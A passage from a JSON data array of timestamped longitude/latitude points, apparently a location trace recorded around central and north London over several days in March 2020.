011221,"longitude":-0.09078998439880623,"latitude":51.50533272321407},{"time":1584208020316,"longitude":-0.09103934942422683,"latitude":51.505210933919784},{"time":1584208081505,"longitude":-0.09255090599151224,"latitude":51.50530879292746},{"time":1584208117048,"longitude":-0.08753166555948809,"latitude":51.50385132830145},{"time":1584208145784,"longitude":-0.08807525216031578,"latitude":51.505019624747},{"time":1584208163853,"longitude":-0.08499350140964965,"latitude":51.50406179518352},{"time":1584208235264,"longitude":-0.09096697063066014,"latitude":51.50524006307226},{"time":1584208271836,"longitude":-0.08657096932591733,"latitude":51.5056896103913},{"time":1584208327836,"longitude":-0.09091655241144653,"latitude":51.50526254346909},{"time":1584208418254,"longitude":-0.09335468971760459,"latitude":51.50475828220297},{"time":1584208486042,"longitude":-0.08911263405389637,"latitude":51.50409539911965},{"time":1584208495618,"longitude":-0.09079812014295595,"latitude":51.5051420662317},{"time":1584208511895,"longitude":-0.08588941096595339,"latitude":51.505008070420544},{"time":1584208668977,"longitude":-0.0907970874212551,"latitude":51.505130123138194},{"time":1584208701186,"longitude":-0.09092560177399887,"latitude":51.505152816409705},{"time":1584208758515,"longitude":-0.08851939696158022,"latitude":51.50564042384227},{"time":1584208810372,"longitude":-0.0917365797743413,"latitude":51.506917155146596},{"time":1584208892696,"longitude":-0.0907488426884372,"latitude":51.505255433791966},{"time":1584208938859,"longitude":-0.0873281097204253,"latitude":51.503716135182636},{"time":1584208939352,"longitude":-0.09095540013639358,"latitude":51.50515395409111},{"time":1584208983117,"longitude":-0.09085793193910477,"latitude":51.5051467943181},{"time":1584209019741,"longitude":-0.08822564657827914,"latitude":51.50481291903673},{"time":1584209045547,"longitude":-0.09075449020779595,"latitude":51.505163999310845},{"time":1584209181999,"longitude":-0.09097860096348162,"latitude":51.50515073681518},{"time":1584209281987,"longitude":-0.09081587088891173,"latitude":51.50543998895089},{"time":1584209293035,"longitude":-0.08464616572034078,"latitude":51.50494015836474},{"time":1584209303016,"longitude":-0.07989217323222499,"latitude":51.49944076261708},{"time":1584209348620,"longitude":-0.08545931085378658,"latitude":51.50329112156788},{"time":1584209440244,"longitude":-0.07636993431673418,"latitude":51.50192473044096},{"time":1584209447700,"longitude":-0.0784643057883087,"latitude":51.500655483268645},{"time":1584209486556,"longitude":-0.09074972368935985,"latitude":51.505134485399985},{"time":1584209513843,"longitude":-0.08546830308386903,"latitude":51.50586918619754},{"time":1584209620144,"longitude":-0.09101873368331691,"latitude":51.505170008415604},{"time":1584209648570,"longitude":-0.09086119908139671,"latitude":51.50525056802351},{"time":1584209666721,"longitude":-0.0908716663778245,"latitude":51.50523392899136},{"time":1584209763455,"longitude":-0.09095985688344586,"latitude":51.50517933521987},{"time":1584209772065,"longitude":-0.07887510002033261,"latitude":51.50389300100176},{"time":1584209813949,"longitude":-0.08499517357830634,"latitude":51.505297004512315},{"time":1584209817572,"longitude":-0.08484436060082355,"latitude":51.5047569239209},{"time":1584209823272,"longitude":-0.0854337364140294,"latitude":51.50188393492209},{"time":1584209831031,"longitude":-0.0905769880874218,"latitude":51.50403241337533},{"time":1584209841779,"longitude":-0.0769213932644732,"latitude":51.50255363903193},{"time":1584209849577,"longitude":-0.08203363197758765,"latitude":51.50071060605777},{"time":1584209977661,"longitude":-0.08928928780583867,"latitude":51.50451706665317},{"time":1584210033762,"longitude":-0.07946156926784888,"latitude":51.499699189742294},{"time":1584210055963,"longitude":-0.09393698117856546,"latitude":51.505754616388735},{"time":1584210218992,"longitude":-0.07643342916629271,"latitude":51.50028328547982},{"time":1584210331304,"longitude":-0.08049630722664779,"latitude":51.50257045989266},{"time":1584210385273,"longitude":-0.07946340631255203,"latitude":51.50216679838399},{"time":1584210472358,"longitude":-0.08726388572240366,"latitude":51.50527981817743},{"time":1584210513526,"longitude":-0.08042475461352795,"latitude":51.500451199545374},{"time":1584210585401,"longitude":-0.0818521313634757,"latitude":51.50039634299192},{"time":1584210829428,"longitude":-0.0847660768651972,"latitude":51.50503505929449},{"time":1584211034236,"longitude":-0.08836683949396738,"latitude":51.50615010259242},{"time":1584211136044,"longitude":-0.0916917268086145,"latitude":51.50404850873028},{"time":1584211154971,"longitude":-0.08920632375972004,"latitude":51.505507326156554},{"time":1584211298539,"longitude":-0.09161310161314362,"latitude":51.50474201332976},{"time":1584211370461,"longitude":-0.08248332132778992,"latitude":51.49996933699232},{"time":1584211866135,"longitude":-0.07779301013632335,"latitude":51.50009231841943},{"time":1584211921849,"longitude":-0.07676362880846484,"latitude":51.50295584758907},{"time":1584212484071,"longitude":-0.08049220755506334,"latitude":51.501854421852094},{"time":1584212540785,"longitude":-0.08050512824792579,"latitude":51.503485472785904},{"time":1584212954013,"longitude":-0.07044184850773999,"latitude":51.49917734975334},{"time":1584213020903,"longitude":-0.08255510173389972,"latitude":51.503094829797014},{"time":1584213227956,"longitude":-0.0711630382430449,"latitude":51.50512028996733},{"time":1584213370535,"longitude":-0.07172777603672456,"latitude":51.49758773266374},{"time":1584213448085,"longitude":-0.07606319727490632,"latitude":51.506645051079076},{"time":1584213514372,"longitude":-0.09033948296541015,"latitude":51.498948017251756},{"time":1584213626511,"longitude":-0.07970467031747759,"latitude":51.50761718871872},{"time":1584214355324,"longitude":-0.07625450015896935,"latitude":51.498814191414695},{"time":1584214393211,"longitude":-0.07188075274576938,"latitude":51.500398132824785},{"time":1584214409769,"longitude":-0.10840082384599496,"latitude":51.52848730638416},{"time":1584214580360,"longitude":-0.07176347932722212,"latitude":51.50541885438869},{"time":1584214688509,"longitude":-0.0949987275225196,"latitude":51.502883637946205},{"time":1584214696570,"longitude":-0.10241340028572399,"latitude":51.553864681860155},{"time":1584214975788,"longitude":-0.08403820635117275,"latitude":51.50422025593954},{"time":1584214988513,"longitude":-0.10703784206205187,"latitude":51.52840060407032},{"time":1584214992992,"longitude":-0.07751516315438801,"latitude":51.50046729770881},{"time":1584215061949,"longitude":-0.09203975531020403,"latitude":51.50274561114216},{"time":1584215069446,"longitude":-0.09262893129299402,"latitude":51.50703554557157},{"time":1584215169074,"longitude":-0.08922305089322026,"latitude":51.497662211270466},{"time":1584215232960,"longitude":-0.10479024584725899,"latitude":51.55294082709688},{"time":1584215297920,"longitude":-0.10461671925489571,"latitude":51.53832148987619},{"time":1584215316961,"longitude":-0.07187821678193648,"latitude":51.49784152886047},{"time":1584215480012,"longitude":-0.1081514126979145,"latitude":51.55315866236048},{"time":1584215565407,"longitude":-0.08958803648072586,"latitude":51.5019723564181},{"time":1584215652681,"longitude":-0.10978923111913595,"latitude":51.525696097448055},{"time":1584215746867,"longitude":-0.10350129866912806,"latitude":51.52827645834141},{"time":1584215801852,"longitude":-0.11188974904451127,"latitude":51.53368616902951},{"time":1584215889115,"longitude":-0.10944699111849993,"latitude":51.53553997505185},{"time":1584216036252,"longitude":-0.10357445908659985,"latitude":51.52337427492765},{"time":1584216170033,"longitude":-0.1054000654018433,"latitude":51.55502294141989},{"time":1584216449377,"longitude":-0.10942261758101851,"latitude":51.55413261778511},{"time":1584216741225,"longitude":-0.1058489406767226,"latitude":51.532243916119896},{"time":1584216865207,"longitude":-0.10813404491900888,"latitude":51.53935731011422},{"time":1584216875975,"longitude":-0.10363923391705285,"latitude":51.555975542993295},{"time":1584217013529,"longitude":-0.1097517494524822,"latitude":51.555183709153425},{"time":1584217133283,"longitude":-0.10651741188408727,"latitude":51.54641109460544},{"time":1584217401892,"longitude":-0.1056843912884742,"latitude":51.55555247695731},{"time":1584217461341,"longitude":-0.10264556710870344,"latitude":51.54927496142986},{"time":1584217585360,"longitude":-0.11018128973739987,"latitude":51.52897139359227},{"time":1584281811410,"longitude":-0.11623463978246834,"latitude":51.545301363381064},{"time":1584281941558,"longitude":-0.10852771715883398,"latitude":51.54631199059549},{"time":1584282217477,"longitude":-0.10998499614833246,"latitude":51.54658105049831},{"time":1584282231739,"longitude":-0.11028221271749807,"latitude":51.5451164206244},{"time":1584282337153,"longitude":-0.11595813873284709,"latitude":51.54522408003978},{"time":1584282457178,"longitude":-0.11565848769465309,"latitude":51.54650811910171},{"time":1584282975369,"longitude":-0.11497192015635033,"latitude":51.54635506152898},{"time":1584283788554,"longitude":-0.1166077233701898,"latitude":51.545675118538426},{"time":1584284819638,"longitude":-0.10968463522220415,"latitude":51.54532505076755},{"time":1584285119061,"longitude":-0.10910165376434638,"latitude":51.54652307226028},{"time":1584285139650,"longitude":-0.11035305877558398,"latitude":51.54607766429548},{"time":1584285221509,"longitude":-0.11637171692486857,"latitude":51.546136813160814},{"time":1584285793739,"longitude":-0.11921122507099766,"latitude":51.5477496532565},{"time":1584285799888,"longitude":-0.1217032403461801,"latitude":51.54735913256536},{"time":1584285809563,"longitude":-0.116196659970542,"latitude":51.54562342484684},{"time":1584285885866,"longitude":-0.10460493074615103,"latitude":51.54823387726393},{"time":1584285933270,"longitude":-0.10940314022302924,"latitude":51.5455198169934},{"time":1584285977788,"longitude":-0.11661853478441031,"latitude":51.545560154299096},{"time":1584286003089,"longitude":-0.11473614867304067,"latitude":51.54839463976689},{"time":1584286047590,"longitude":-0.11033595734244542,"latitude":51.545000939925295},{"time":1584286050482,"longitude":-0.11784479406702833,"latitude":51.5432310122261},{"time":1584286389458,"longitude":-0.10895929885857952,"latitude":51.54621518271662},{"time":1584286488771,"longitude":-0.10787797121366399,"latitude":51.54469287762427},{"time":1584286727108,"longitude":-0.1083914548588318,"latitude":51.54297367551598},{"time":1584286782590,"longitude":-0.12272567020448821,"latitude":51.54756751399102},{"time":1584286863327,"longitude":-0.12118754900756867,"latitude":51.548507894064095},{"time":1584286885929,"longitude":-0.11631054917443426,"latitude":51.54815284119436},{"time":1584286995748,"longitude":-0.12303218916908881,"latitude":51.542439049267145},{"time":1584287030554,"longitude":-0.10836176464123608,"latitude":51.5491655315044},{"time":1584287084438,"longitude":-0.11711684851168669,"latitude":51.54951585534127},{"time":1584287114152,"longitude":-0.11015037305367266,"latitude":51.54447234834487},{"time":1584287257671,"longitude":-0.12350921206306564,"latitude":51.549577775546275},{"time":1584287577272,"longitude":-0.11466260783579504,"latitude":51.545743877883275},{"time":1584287794500,"longitude":-0.11471527774716668,"latitude":51.547039919148745},{"time":1584287939326,"longitude":-0.11679278590205436,"latitude":51.54350043905728},{"time":1584288300168,"longitude":-0.12022257563461428,"latitude":51.53130056563475},{"time":1584288426082,"longitude":-0.12635669370388378,"latitude":51.53647057013736},{"time":1584288552428,"longitude":-0.12613414744068294,"latitude":51.535947649930954},{"time":1584288589345,"longitude":-0.11905796761965028,"latitude":51.53498542285838},{"time":1584288697088,"longitude":-0.10733922680428949,"latitude":51.544151084716965},{"time":1584288697784,"longitude":-0.11854157957893356,"latitude":51.53646502256616},{"time":1584288864626,"longitude":-0.1205078592735073,"latitude":51.53486548760839},{"time":1584288886747,"longitude":-0.10862934290185396,"latitude":51.54840450033109},{"time":1584289071123,"longitude":-0.12233509110093894,"latitude":51.53135005690914},{"time":1584289186324,"longitude":-0.12388305739444336,"latitude":51.52857267392264},{"time":1584289228716,"longitude":-0.12238272691306663,"latitude":51.531340889277125},{"time":1584289270442,"longitude":-0.11207800095709468,"latitude":51.550755132875715},{"time":1584289333496,"longitude":-0.11903798028467762,"latitude":51.53251642674994},{"time":1584289391923,"longitude":-0.11851961737673603,"latitude":51.52935377184044},{"time":1584289702544,"longitude":-0.1239277124773589,"latitude":51.53438866858551},{"time":1584289711457,"longitude":-0.12252080955526719,"latitude":51.53184894935486},{"time":1584289716008,"longitude":-0.12403619738215364,"latitude":51.52938682194067},{"time":1584289864653,"longitude":-0.1222903970359423,"latitude":51.53162624999536},{"time":1584289878095,"longitude":-0.12206555203739004,"latitude":51.53243241839663},{"time":1584289978817,"longitude":-0.12237551086007623,"latitude":51.53179954021658},{"time":1584290441220,"longitude":-0.12261288517160605,"latitude":51.5321119527061},{"time":1584290456872,"longitude":-0.12234570134412398,"latitude":51.53191693013181},{"time":1584290474199,"longitude":-0.1222611536491058,"latitude":51.53200989706085},{"time":1584290569624,"longitude":-0.12230771498721625,"latitude":51.531467944822815},{"time":1584290605458,"longitude":-0.12234153361402114,"latitude":51.53159809157205},{"time":1584290737603,"longitude":-0.12238793632294176,"latitude":51.531495262861405},{"time":1584290793374,"longitude":-0.12238741658776593,"latitude":51.5316797672716},{"time":1584290918848,"longitude":-0.12250298623331142,"latitude":51.53194639510111},{"time":1584290933408,"longitude":-0.1223321000859501,"latitude":51.53188531045266},{"time":1584291057284,"longitude":-0.12233218945823567,"latitude":51.53188024811917},{"time":1584291095378,"longitude":-0.12240056181979435,"latitude":51.53156884078039},{"time":1584291125274,"longitude":-0.12261371441165834,"latitude":51.53168865085257},{"time":1584291144362,"longitude":-0.12256805440384208,"latitude":51.531507484964614},{"time":1584291154584,"longitude":-0.12259819650408407,"latitude":51.53181168272259},{"time":1584291159830,"longitude":-0.12240452745396438,"latitude":51.53198916844663},{"time":1584291219095,"longitude":-0.12247623099454978,"latitude":51.53183558456691},{"time":1584291257418,"longitude":-0.1225922176888008,"latitude":51.53153695426122},{"time":1584291430588,"longitude":-0.12237932364222721,"latitude":51.53214873731975},{"time":1584291679106,"longitude":-0.12255549976917361,"latitude":51.53228949677297},{"time":1584291685780,"longitude":-0.12242177033451698,"latitude":51.531740181073175},{"time":1584291817100,"longitude":-0.12253942239008225,"latitude":51.5318695103023},{"time":1584291837992,"longitude":-0.1223225053888073,"latitude":51.5317747201558},{"time":1584291952055,"longitude":-0.12235044164343789,"latitude":51.53205380738339},{"time":1584291991696,"longitude":-0.12237296480870001,"latitude":51.53182937632931},{"time":1584292164934,"longitude":-0.12247920510731229,"latitude":51.53176810093828},{"time":1584292165448,"longitude":-0.12260766870651835,"latitude":51.53197329815191},{"time":1584292215924,"longitude":-0.12245869704517745,"latitude":51.53172668675443},{"time":1584292250635,"longitude":-0.12258993728898265,"latitude":51.53147783532365},{"time":1584292270276,"longitude":-0.12230593772935466,"latitude":51.5314427912697},{"time":1584292278129,"longitude":-0.12259718677500495,"latitude":51.53211106898357},{"time":1584292293589,"longitude":-0.12247696162968041,"latitude":51.531576977685155},{"time":1584292388548,"longitude":-0.12239565212921712,"latitude":51.53229537728827},{"time":1584292415014,"longitude":-0.12227115282075646,"latitude":51.53194199439899},{"time":1584292550763,"longitude":-0.12227198877208782,"latitude":51.53199154458591},{"time":1584292602165,"longitude":-0.12238656767333819,"latitude":51.531602565694946},{"time":1584292631524,"longitude":-0.12245548363348094,"latitude":51.531605322865495},{"time":1584292789215,"longitude":-0.12258119818972439,"latitude":51.53201548673281},{"time":1584292866449,"longitude":-0.122361782596015,"latitude":51.53171242034322},{"time":1584292946987,"longitude":-0.122439788465769,"latitude":51.53222201271551},{"time":1584292999291,"longitude":-0.12255177163502817,"latitude":51.53177590889541},{"time":1584293038562,"longitude":-0.12242766689700102,"latitude":51.53195938533522},{"time":1584293101044,"longitude":-0.1223080956110687,"latitude":51.53215356383758},{"time":1584293113285,"longitude":-0.12257720011822866,"latitude":51.532156225641046},{"time":1584293139435,"longitude":-0.1223099729256377,"latitude":51.531935595656414},{"time":1584293150764,"longitude":-0.12247270468205568,"latitude":51.531877423295334},{"time":1584293195639,"longitude":-0.12229095782720109,"latitude":51.53178939375673},{"time":1584293199455,"longitude":-0.12230975377479515,"latitude":51.531672330945106},{"time":1584293294207,"longitude":-0.11746481204789114,"latitude":51.54013436241312},{"time":1584293330602,"longitude":-0.12222417388388754,"latitude":51.53161612392159},{"time":1584293341173,"longitude":-0.11522710614997997,"latitude":51.52592659198047},{"time":1584293428124,"longitude":-0.11544206117249019,"latitude":51.53238095029945},{"time":1584293503177,"longitude":-0.11978633159688282,"latitude":51.526365841518015},{"time":1584293602471,"longitude":-0.1222128299055586,"latitude":51.53154435660059},{"time":1584293764772,"longitude":-0.12224807880837542,"latitude":51.53146192947907},{"time":1584293798911,"longitude":-0.12715816290709578,"latitude":51.52846792721003},{"time":1584293824560,"longitude":-0.12237691682727678,"latitude":51.53150060714277},{"time":1584293880015,"longitude":-0.1155473150252827,"latitude":51.52851426410661},{"time":1584293892613,"longitude":-0.11187262094147943,"latitude":51.529539590827476},{"time":1584294085874,"longitude":-0.12240240566756946,"latitude":51.53210580755707},{"time":1584294094064,"longitude":-0.12223534086639147,"latitude":51.531574757964314},{"time":1584294116299,"longitude":-0.12231364003726973,"latitude":51.532063172936},{"time":1584294191470,"longitude":-0.12185530545811102,"latitude":51.53538808358092},{"time":1584294253366,"longitude":-0.1167293528437356,"latitude":51.53966031714553},{"time":1584294397464,"longitude":-0.1152559249009074,"latitude":51.53597148164726},{"time":1584294424739,"longitude":-0.11659166271897478,"latitude":51.54025714264272},{"time":1584294560391,"longitude":-0.11530108142502969,"latitude":51.53410450905623},{"time":1584294561060,"longitude":-0.11666305550625947,"latitude":51.53841822026141},{"time":1584294622903,"longitude":-0.11694365824922309,"latitude":51.540352270551196},{"time":1584294626905,"longitude":-0.1166270390469263,"latitude":51.53889575831572},{"time":1584294652623,"longitude":-0.11753941830670289,"latitude":51.52871856788532},{"time":1584294663143,"longitude":-0.116623977533662,"latitude":51.5384199075474},{"time":1584294705640,"longitude":-0.1166913789502981,"latitude":51.538521232601234},{"time":1584294727272,"longitude":-0.11704554349923667,"latitude":51.54072926977679},{"time":1584294805282,"longitude":-0.11668512815899784,"latitude":51.53838095716243},{"time":1584294860660,"longitude":-0.11316251242566515,"latitude":51.53832684319687},{"time":1584294878971,"longitude":-0.11683769179247865,"latitude":51.537687610480106},{"time":1584294904527,"longitude":-0.1167593897597325,"latitude":51.54113997565931},{"time":1584294911360,"longitude":-0.11681569876024266,"latitude":51.53942401360363},{"time":1584295046037,"longitude":-0.1166678797287325,"latitude":51.53932535386062},{"time":1584295232804,"longitude":-0.11927107204018222,"latitude":51.540790663191174},{"time":1584295339626,"longitude":-0.11810391656529742,"latitude":51.542337126181096},{"time":1584295351315,"longitude":-0.11774401746301977,"latitude":51.53908824764899},{"time":1584295362634,"longitude":-0.12484144570676224,"latitude":51.527291556079405},{"time":1584295367661,"longitude":-0.11668468689158994,"latitude":51.546516294487816},{"time":1584295404770,"longitude":-0.11640407559966995,"latitude":51.5425625675},{"time":1584295492730,"longitude":-0.11695917038983678,"latitude":51.53986581897088},{"time":1584295556951,"longitude":-0.11783349446349715,"latitude":51.545554080593746},{"time":1584295609340,"longitude":-0.11679578288595584,"latitude":51.538061067349176},{"time":1584295709288,"longitude":-0.11679044491276526,"latitude":51.54003940430108},{"time":1584295796471,"longitude":-0.11696164725845214,"latitude":51.54412775973626},{"time":1584295901064,"longitude":-0.11734240804452559,"latitude":51.54196529375944},{"time":1584295969806,"longitude":-0.11668916825906679,"latitude":51.5393462854111},{"time":1584296222996,"longitude":-0.11688319305183847,"latitude":51.53829990637927},{"time":1584296302714,"longitude":-0.11644270567091511,"latitude":51.5407559800468},{"time":1584296399148,"longitude":-0.11681770396897038,"latitude":51.54000347833316},{"time":1584296433451,"longitude":-0.117873571033002,"latitude":51.541960553160706},{"time":1584296470949,"longitude":-0.11670024144861768,"latitude":51.53874842597073},{"time":1584296530341,"longitude":-0.11676333677301443,"latitude":51.54050015660188},{"time":1584296694339,"longitude":-0.11742867904665504,"latitude":51.53773021356248},{"time":1584296789158,"longitude":-0.11703464535856833,"latitude":51.53917268083319},{"time":1584296799338,"longitude":-0.11750694306457714,"latitude":51.54263589095126},{"time":1584296878534,"longitude":-0.11808231390828856,"latitude":51.53858593617296},{"time":1584296894673,"longitude":-0.11778044382307837,"latitude":51.540488697697356},{"time":1584297232828,"longitude":-0.11684378058620576,"latitude":51.538192510703524},{"time":1584297261025,"longitude":-0.1179244092787692,"latitude":51.54502997446553},{"time":1584357016329,"longitude":-0.11800291282017716,"latitude":51.53872586858783},{"time":1584357068204,"longitude":-0.10655678859110328,"latitude":51.529064406823856},{"time":1584357090622,"longitude":-0.10859162650699547,"latitude":51.53087043148321},{"time":1584357118461,"longitude":-0.11225024976002831,"latitude":51.553539385210485},{"time":1584357265489,"longitude":-0.10511532615767022,"latitude":51.541345735484754},{"time":1584357287365,"longitude":-0.1175588811315623,"latitude":51.52740384587002},{"time":1584357295338,"longitude":-0.10933053363312367,"latitude":51.52532084068428},{"time":1584357300620,"longitude":-0.11462892364764653,"latitude":51.53929379883613},{"time":1584357784319,"longitude":-0.11403777683384864,"latitude":51.52540172959265},{"time":1584357931020,"longitude":-0.10168920866352839,"latitude":51.54462910596345},{"time":1584357955971,"longitude":-0.10207352697538326,"latitude":51.55857296521637},{"time":1584358039156,"longitude":-0.11456425138759183,"latitude":51.53925983456369},{"time":1584358065098,"longitude":-0.10784890523564476,"latitude":51.53448565808289},{"time":1584358353887,"longitude":-0.10381618611229004,"latitude":51.54806786053372},{"time":1584358428025,"longitude":-0.10705708571353223,"latitude":51.55481533813949},{"time":1584358579380,"longitude":-0.10837265253352697,"latitude":51.54175510208617},{"time":1584358604691,"longitude":-0.10437059616535094,"latitude":51.52418148783318},{"time":1584358713865,"longitude":-0.10804515451836559,"latitude":51.54564747088839},{"time":1584358770028,"longitude":-0.10846093541514369,"latitude":51.54385919927206},{"time":1584358781938,"longitude":-0.11299327023501009,"latitude":51.540276133125836},{"time":1584359014219,"longitude":-0.1032885293938269,"latitude":51.524950711212995},{"time":1584359055520,"longitude":-0.10572327693733269,"latitude":51.54531543441724},{"time":1584359115646,"longitude":-0.09931467768560442,"latitude":51.54348480268505},{"time":1584359337094,"longitude":-0.10377984537813378,"latitude":51.55763208960182},{"time":1584359554447,"longitude":-0.10607745684294335,"latitude":51.54398612187452},{"time":1584359637713,"longitude":-0.1172825786348533,"latitude":51.54517564535403},{"time":1584359709617,"longitude":-0.10494361072530076,"latitude":51.53526264397458},{"time":1584360279300,"longitude":-0.10705200757227035,"latitude":51.526472700612665},{"time":1584360398501,"longitude":-0.11515793400430822,"latitude":51.527665428779386},{"time":1584361004827,"longitude":-0.11682214809714075,"latitude":51.54684935391438},{"time":1584361180577,"longitude":-0.10839626114004254,"latitude":51.55869858327348},{"time":1584361260822,"longitude":-0.08778217951102314,"latitude":51.51056769858446},{"time":1584361346548,"longitude":-0.0992470813611885,"latitude":51.53423790352685},{"time":1584361595967,"longitude":-0.14878996511701595,"latitude":51.51220361582198},{"time":1584361604414,"longitude":-0.11182879786430559,"latitude":51.525983892418374},{"time":1584361627045,"longitude":-0.116272407008894,"latitude":51.52876222018754},{"time":1584361897946,"longitude":-0.10710607690873503,"latitude":51.52003427482909},{"time":1584362221417,"longitude":-0.09691236735775229,"latitude":51.51955999874967},{"time":1584362410514,"longitude":-0.12995500770621657,"latitude":51.522950845850936},{"time":1584362417368,"longitude":-0.11344955160802828,"latitude":51.52146214545676},{"time":1584362487678,"longitude":-0.12909010036335405,"latitude":51.5148973029713},{"time":1584362498589,"longitude":-0.16458094176961,"latitude":51.51667756593512},{"time":1584362513747,"longitude":-0.17024481857003954,"latitude":51.51461222586242},{"time":1584362530060,"longitude":-0.0904627383960963,"latitude":51.51424174872533},{"time":1584362548432,"longitude":-0.12914961837531244,"latitude":51.51300756649344},{"time":1584362745008,"longitude":-0.13253708094749425,"latitude":51.519313918139126},{"time":1584362788238,"longitude":-0.13867762787531007,"latitude":51.51562318929735},{"time":1584362845515,"longitude":-0.14299708887799661,"latitude":51.517758863674125},{"time":1584363034658,"longitude":-0.13332337628003538,"latitude":51.515654994823535},{"time":1584363107256,"longitude":-0.12799323662814047,"latitude":51.52108861438114},{"time":1584363118449,"longitude":-0.13801836828884073,"latitude":51.52140838319412},{"time":1584363138245,"longitude":-0.1588264335250813,"latitude":51.51449950423786},{"time":1584363370434,"longitude":-0.1401714982259948,"latitude":51.51341557030068},{"time":1584363426738,"longitude":-0.14435793323923593,"latitude":51.51663913716574},{"time":1584363437970,"longitude":-0.15146458807521568,"latitude":51.5145784474299},{"time":1584363495139,"longitude":-0.15287421009492755,"latitude":51.5154238411785},{"time":1584363794075,"longitude":-0.17036959668300183,"latitude":51.51635579836517},{"time":1584363815742,"longitude":-0.15602318798404166,"latitude":51.515647635044964},{"time":1584363879441,"longitude":-0.15140397832950517,"latitude":51.51552045833396},{"time":1584363880405,"longitude":-0.1272498614222648,"latitude":51.514782005507456},{"time":1584364014458,"longitude":-0.15531465159076996,"latitude":51.51339612284358},{"time":1584364020582,"longitude":-0.13983010556535808,"latitude":51.51437475388451},{"time":1584364123529,"longitude":-0.1530050926256697,"latitude":51.51578441948485},{"time":1584364134459,"longitude":-0.12812387431831465,"latitude":51.51431606295222},{"time":1584364516212,"longitude":-0.14162253336218775,"latitude":51.51649077485523},{"time":1584364556098,"longitude":-0.13340587647842997,"latitude":51.516983839371825},{"time":1584364635301,"longitude":-0.15236549466501412,"latitude":51.51483986972607},{"time":1584364662459,"longitude":-0.1669937253445544,"latitude":51.514673670137284},{"time":1584364665314,"longitude":-0.13593129419974312,"latitude":51.51540715942525},{"time":1584364709837,"longitude":-0.14750402832633444,"latitude":51.515156032244306},{"time":1584364721401,"longitude":-0.12875504181919775,"latitude":51.51502449327723},{"time":1584364744875,"longitude":-0.1442891263812036,"latitude":51.514816784058915},{"time":1584364889545,"longitude":-0.15170418769681687,"latitude":51.51539656912022},{"time":1584365065378,"longitude":-0.1544399548298659,"latitude":51.51440463094474},{"time":1584365178865,"longitude":-0.15148842214525962,"latitude":51.51466064398369},{"time":1584365269431,"longitude":-0.15225014731773479,"latitude":51.51310891544753},{"time":1584365294585,"longitude":-0.15510472324066613,"latitude":51.51402261892049},{"time":1584365316901,"longitude":-0.15435840969973327,"latitude":51.51554089195249},{"time":1584365328555,"longitude":-0.15255942057918492,"latitude":51.51428187369087},{"time":1584365413227,"longitude":-0.15165077645008843,"latitude":51.51009054303312},{"time":1584365551004,"longitude":-0.1529845456024265,"latitude":51.51429762017389},{"time":1584365604671,"longitude":-0.151627344284409,"latitude":51.51572106251245},{"time":1584365639655,"longitude":-0.15362020637950718,"latitude":51.514320494114905},{"time":1584365979429,"longitude":-0.15286199779620158,"latitude":51.51395153703923},{"time":1584366049171,"longitude":-0.15194939039939817,"latitude":51.51380606552501},{"time":1584366320505,"longitude":-0.15264871049400078,"latitude":51.514887256857676},{"time":1584366430696,"longitude":-0.15106847266258652,"latitude":51.51875955679615},{"time":1584366468030,"longitude":-0.1528864681295199,"latitude":51.51454558677939},{"time":1584366914940,"longitude":-0.15174508549277868,"latitude":51.51252441925609},{"time":1584367057912,"longitude":-0.15179067691721734,"latitude":51.51259679687696},{"time":1584373058316,"longitude":-0.15213141913389802,"latitude":51.523818051302975},{"time":1584373103830,"longitude":-0.16009787983794252,"latitude":51.521009356562615},{"time":1584373114569,"longitude":-0.1609991586162819,"latitude":51.52243179611399},{"time":1584373317345,"longitude":-0.16029716875131989,"latitude":51.52369889619252},{"time":1584373758606,"longitude":-0.16188618322255324,"latitude":51.52341811238618},{"time":1584373784022,"longitude":-0.15952492130065296,"latitude":51.52300473026595},{"time":1584374252526,"longitude":-0.11706632985870769,"latitude":51.54334198279255},{"time":1584374318892,"longitude":-0.11505444107949923,"latitude":51.55032007346678},{"time":1584374715906,"longitude":-0.1089950662889867,"latitude":51.54722897542025},{"time":1584374769669,"longitude":-0.11745687158040283,"latitude":51.54519185366636},{"time":1584374808980,"longitude":-0.12164698569954152,"latitude":51.54784631774665},{"time":1584374817224,"longitude":-0.1112564720488955,"latitude":51.54741032351415},{"time":1584374996131,"longitude":-0.11289863972656546,"latitude":51.55052140996599},{"time":1584375102021,"longitude":-0.118938931856115,"latitude":51.54597831221349},{"time":1584375197001,"longitude":-0.11001554705757124,"latitude":51.54333443361535},{"time":1584375204213,"longitude":-0.11873492147225928,"latitude":51.54521637956267},{"time":1584375490047,"longitude":-0.10489294997530395,"latitude":51.542901380566065},{"time":1584375751983,"longitude":-0.11341715609640061,"latitude":51.54256045017692},{"time":1584375960837,"longitude":-0.1192705155780149,"latitude":51.54522708925349},{"time":1584376112739,"longitude":-0.12168258095919897,"latitude":51.54655920949701},{"time":1584376118070,"longitude":-0.11378472278430755,"latitude":51.5435337287114},{"time":1584376232317,"longitude":-0.10583061359035796,"latitude":51.54605691818122},{"time":1584376301039,"longitude":-0.1205473288208774,"latitude":51.55019203477511},{"time":1584376818625,"longitude":-0.11291222022745269,"latitude":51.54930560070015},{"time":1584376833509,"longitude":-0.11972665022267061,"latitude":51.5428597370223},{"time":1584376926911,"longitude":-0.11813966372363673,"latitude":51.54548012841174},{"time":1584376960982,"longitude":-0.11100376978379407,"latitude":51.54442779174698},{"time":1584428403188,"longitude":-0.11056159882602364,"latitude":51.54472834556094},{"time":1584428538825,"longitude":-0.11914124247151106,"latitude":51.546072885531},{"time":1584428581136,"longitude":-0.10621528086612911,"latitude":51.543308060878154},{"time":1584428638366,"longitude":-0.1002531720998378,"latitude":51.54657513808876},{"time":1584429645483,"longitude":-0.11760304718437295,"latitude":51.54937490427449},{"time":1584429656605,"longitude":-0.11538537961673846,"latitude":51.544927413936875},{"time":1584429763460,"longitude":-0.10433235275412907,"latitude":51.5495947441846},{"time":1584429767966,"longitude":-0.11453596493004066,"latitude":51.54886000565902},{"time":1584430262222,"longitude":-0.11455264461398217,"latitude":51.54693413617512},{"time":1584430431197,"longitude":-0.11996320979332094,"latitude":51.542939847144154},{"time":1584430598543,"longitude":-0.09985444339327174,"latitude":51.543595281264516},{"time":1584431126109,"longitude":-0.1199207916449778,"latitude":51.548421092277934},{"time":1584431210186,"longitude":-0.10520603619456012,"latitude":51.5470791637286},{"time":1584431210609,"longitude":-0.11698039012692416,"latitude":51.547745952997744},{"time":1584431508179,"longitude":-0.1199038237637082,"latitude":51.54734537015734},{"time":1584431809779,"longitude":-0.10812629333148811,"latitude":51.5486113926606},{"time":1584431997000,"longitude":-0.10717460267067867,"latitude":51.54907249729087},{"time":1584432045601,